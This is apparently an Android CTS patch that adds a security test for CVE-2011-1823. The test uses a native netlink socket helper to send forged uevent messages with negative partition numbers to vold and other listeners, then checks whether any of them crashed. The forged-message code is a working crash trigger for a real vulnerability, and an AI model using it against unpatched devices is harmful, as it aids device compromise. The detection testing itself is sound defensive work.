Detect Android devices vulnerable to CVE-2011-1823

This change does two things:
1) Adds a new CTS test category called "security", to centralize test
for security bugs, and
2) Adds a test for CVE-2011-1823, the vold exploit discovered by
Sebastian Krahmer, available at
http://c-skills.blogspot.com/2011/04/yummy-yummy-gingerbreak.html

See also http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1823

Bug: 4328371
Change-Id: Iab98d71c2cda24c4a017c6848fac4368a4ad2fd8
diff --git a/tests/jni/Android.mk b/tests/jni/Android.mk
index d58416f..f20fcb5 100644
--- a/tests/jni/Android.mk
+++ b/tests/jni/Android.mk
@@ -25,7 +25,8 @@
 LOCAL_PRELINK_MODULE := false
 
 LOCAL_SRC_FILES := \
-		CtsJniOnLoad.cpp
+		CtsJniOnLoad.cpp \
+		android_net_cts_NetlinkSocket.cpp
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) 
 
diff --git a/tests/jni/CtsJniOnLoad.cpp b/tests/jni/CtsJniOnLoad.cpp
index b6177a1..7b9dea5 100644
--- a/tests/jni/CtsJniOnLoad.cpp
+++ b/tests/jni/CtsJniOnLoad.cpp
@@ -16,6 +16,7 @@
 
 #include <jni.h>
 #include <stdio.h>
+#include "android_net_cts_NetlinkSocket.h"
 
 #ifndef CTS_TARGET_SIMULATOR
 extern int register_android_os_cts_CpuFeatures(JNIEnv*);
@@ -34,5 +35,9 @@
     }
 #endif
 
+    if (register_android_net_cts_NetlinkSocket(env)) {
+        return JNI_ERR;
+    }
+
     return JNI_VERSION_1_4;
 }
diff --git a/tests/jni/android_net_cts_NetlinkSocket.cpp b/tests/jni/android_net_cts_NetlinkSocket.cpp
new file mode 100644
index 0000000..7f430d8
--- /dev/null
+++ b/tests/jni/android_net_cts_NetlinkSocket.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+#include <cutils/log.h>
+#include <asm/types.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <errno.h>
+#include "JNIHelp.h"
+
+#include "android_net_cts_NetlinkSocket.h"
+
+static void android_net_cts_NetlinkSocket_create(JNIEnv* env, jclass,
+    jobject fileDescriptor)
+{
+    int sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
+    if (sock == -1) {
+        LOGE("Can't create socket %s", strerror(errno));
+        jclass SocketException = env->FindClass("java/net/SocketException");
+        env->ThrowNew(SocketException, "Can't create socket");
+        return;
+    }
+    jniSetFileDescriptorOfFD(env, fileDescriptor, sock);
+}
+
+static int android_net_cts_NetlinkSocket_sendmsg(JNIEnv *e, jclass,
+    jobject fileDescriptor, jint pid, jbyteArray packet)
+{
+    void *bytes = (void *)e->GetByteArrayElements(packet, NULL);
+    uint32_t length = (uint32_t)e->GetArrayLength(packet);
+    struct sockaddr_nl snl;
+    struct iovec iov = {bytes, length};
+    struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
+
+    memset(&snl, 0, sizeof(snl));
+    snl.nl_family = AF_NETLINK;
+    snl.nl_pid = pid;
+
+    int sock = jniGetFDFromFileDescriptor(e, fileDescriptor);
+    int retval = sendmsg(sock, &msg, 0);
+    e->ReleaseByteArrayElements(packet, (jbyte*)bytes, 0);
+    return retval;
+}
+
+
+static JNINativeMethod gMethods[] = {
+    {  "sendmsg", "(Ljava/io/FileDescriptor;I[B)I", (void *) android_net_cts_NetlinkSocket_sendmsg },
+    {  "create_native", "(Ljava/io/FileDescriptor;)V", (void *) android_net_cts_NetlinkSocket_create },
+};
+
+int register_android_net_cts_NetlinkSocket(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/net/cts/NetlinkSocket");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/jni/android_net_cts_NetlinkSocket.h b/tests/jni/android_net_cts_NetlinkSocket.h
new file mode 100644
index 0000000..d406892
--- /dev/null
+++ b/tests/jni/android_net_cts_NetlinkSocket.h
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __ANDROID_NET_CTS_H__
+#define __ANDROID_NET_CTS_H__
+
+int register_android_net_cts_NetlinkSocket(JNIEnv*);
+
+#endif /* __ANDROID_NET_CTS_H__ */
diff --git a/tests/src/android/net/cts/NetlinkSocket.java b/tests/src/android/net/cts/NetlinkSocket.java
new file mode 100644
index 0000000..1635843
--- /dev/null
+++ b/tests/src/android/net/cts/NetlinkSocket.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+public class NetlinkSocket {
+
+    static {
+        System.loadLibrary("cts_jni");
+    }
+
+    private static native void create_native(FileDescriptor fd);
+    private static native int sendmsg(FileDescriptor fd, int pid, byte[] bytes);
+
+    private FileDescriptor fd = new FileDescriptor();
+
+    /** no public constructors */
+    private NetlinkSocket() { }
+
+    public static NetlinkSocket create() {
+        NetlinkSocket retval = new NetlinkSocket();
+        create_native(retval.fd);
+        return retval;
+    }
+
+    public boolean valid() {
+        return fd.valid();
+    }
+
+    public int sendmsg(int pid, byte[] bytes) throws IOException {
+        int retval = sendmsg(fd, pid, bytes);
+        if (retval == -1) {
+            throw new IOException("Unable to send message to PID=" + pid);
+        }
+        return retval;
+    }
+}
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
new file mode 100644
index 0000000..6ea5e1b
--- /dev/null
+++ b/tests/tests/security/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2011 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSecurityTestCases
+
+LOCAL_INSTRUMENTATION_FOR := CtsTestStubs
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
new file mode 100644
index 0000000..7dcd7a8
--- /dev/null
+++ b/tests/tests/security/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.security">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.test.InstrumentationCtsTestRunner"
+                     android:targetPackage="com.android.cts.stub"
+                     android:label="CTS tests of com.android.cts.security"/>
+
+</manifest>
+
diff --git a/tests/tests/security/src/android/security/cts/VoldExploitTest.java b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
new file mode 100644
index 0000000..9030843
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/VoldExploitTest.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.net.cts.NetlinkSocket;
+import junit.framework.TestCase;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Scanner;
+import java.util.Set;
+
+public class VoldExploitTest extends TestCase {
+
+    /**
+     * Try to crash the vold program.
+     *
+     * This test attempts to send an invalid netlink messages to
+     * any process which is listening for the messages.  If we detect
+     * that any process crashed as a result of our message, then
+     * we know that we found a bug.
+     *
+     * If this test fails, it's due to CVE-2011-1823
+     *
+     * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1823
+     */
+    public void testTryToCrashVold() throws IOException {
+        Set<Integer> pids = getPids();
+        assertTrue(pids.size() > 1);  // at least vold and netd should exist
+
+        Set<String> devices = new HashSet<String>();
+        devices.addAll(getSysFsPath("/etc/vold.fstab"));
+        devices.addAll(getSysFsPath("/system/etc/vold.fstab"));
+        assertTrue(devices.size() > 0);
+
+        // Verify that all processes listening for netlink messages
+        // currently exist.
+        for (int i : pids) {
+            assertTrue(new File("/proc/" + i + "/cmdline").exists());
+        }
+
+        NetlinkSocket ns = NetlinkSocket.create();
+        for (int i : pids) {
+            for (String j : devices) {
+                doAttack(ns, i, j);
+            }
+        }
+
+        // Check to see if all the processes are still alive.  If
+        // any of them have died, we found an exploitable bug.
+        for (int i : pids) {
+            assertTrue(
+                    "PID=" + i + " crashed due to a malformed netlink message."
+                    + " Detected unpatched vulnerability CVE-2011-1823.",
+                    new File("/proc/" + i + "/cmdline").exists());
+        }
+    }
+
+    /**
+     * Try to actually crash the program, by first sending a fake
+     * request to add a new disk, followed by a fake request to add
+     * a partition.
+     */
+    private static void doAttack(NetlinkSocket ns, int pid, String path)
+            throws IOException {
+        try {
+            ns.sendmsg(pid, getDiskAddedMessage(path));
+            confirmNetlinkMsgReceived();
+
+            for (int i = -1000; i > -5000; i-=1000) {
+                ns.sendmsg(pid, getPartitionAddedMessage(path, i));
+                confirmNetlinkMsgReceived();
+            }
+        } catch (IOException e) {
+            fail("Message send to PID=" + pid
+                    + " failed.  It probably crashed due to CVE-2011-1823.");
+        }
+    }
+
+    /**
+     * Parse the fstab.vold file, and extract out the "sysfs_path" field.
+     */
+    private static Set<String> getSysFsPath(String file) throws IOException {
+        Set<String> retval = new HashSet<String>();
+        File netlink = new File(file);
+        Scanner scanner = null;
+        try {
+            scanner = new Scanner(netlink);
+            while(scanner.hasNextLine()) {
+                String line = scanner.nextLine().trim();
+                if (!line.startsWith("dev_mount")) {
+                    continue;
+                }
+
+                String[] fields = line.split("\\s+");
+                assertTrue(fields.length >= 5);
+                // Column 5 and beyond is "sysfs_path"
+                retval.addAll(Arrays.asList(fields).subList(4, fields.length));
+            }
+        } finally {
+            if (scanner != null) {
+                scanner.close();
+            }
+        }
+        return retval;
+    }
+
+    /**
+     * Poll /proc/net/netlink until all the "Rmem" fields contain
+     * "0".  This indicates that there are no outstanding unreceived
+     * netlink messages.
+     */
+    private static void confirmNetlinkMsgReceived() {
+        try {
+            while(true) {
+                boolean foundAllZeros = true;
+                for (List<String> i : parseNetlink()) {
+                    // Column 5 is the "Rmem" field, which is the
+                    // amount of kernel memory for received netlink messages.
+                    if (!i.get(4).equals("0")) {
+                        foundAllZeros = false;
+                    }
+                }
+                if (foundAllZeros) {
+                    return;
+                }
+                Thread.sleep(50);
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Extract all the PIDs listening for netlink messages.
+     */
+    private static Set<Integer> getPids() {
+        List<List<String>> netlink = parseNetlink();
+        Set<Integer> retval = new HashSet<Integer>();
+        for (List<String> i : netlink) {
+            // The PID is in column 3
+            int pid = Integer.decode(i.get(2));
+            if (pid != 0) {
+                retval.add(pid);
+            }
+        }
+        return retval;
+    }
+
+    /**
+     * Parse /proc/net/netlink and return a List of lines
+     * (excluding the first line)
+     */
+    private static List<List<String>> parseNetlink() {
+        List<List<String>> retval = new ArrayList<List<String>>();
+        File netlink = new File("/proc/net/netlink");
+        Scanner scanner = null;
+        try {
+            scanner = new Scanner(netlink);
+            while(scanner.hasNextLine()) {
+                String line = scanner.nextLine().trim();
+                if (line.startsWith("sk")) {
+                    continue;
+                }
+
+                List<String> lineList = Arrays.asList(line.split("\\s+"));
+                retval.add(lineList);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            if (scanner != null) {
+                scanner.close();
+            }
+        }
+        return retval;
+    }
+
+    private static byte[] getDiskAddedMessage(String path) {
+        try {
+            return ("@/foo\0ACTION=add\0SUBSYSTEM=block\0"
+                    + "DEVPATH=" + path + "\0MAJOR=179\0MINOR=12345"
+                    + "\0DEVTYPE=disk\0").getBytes("ASCII");
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static byte[] getPartitionAddedMessage(
+            String path, int partitionNum) {
+        try {
+            return ("@/foo\0ACTION=add\0SUBSYSTEM=block\0"
+                    + "DEVPATH=" + path + "\0MAJOR=179\0MINOR=12345"
+                    + "\0DEVTYPE=blah\0PARTN=" + partitionNum + "\0")
+                    .getBytes("ASCII");
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}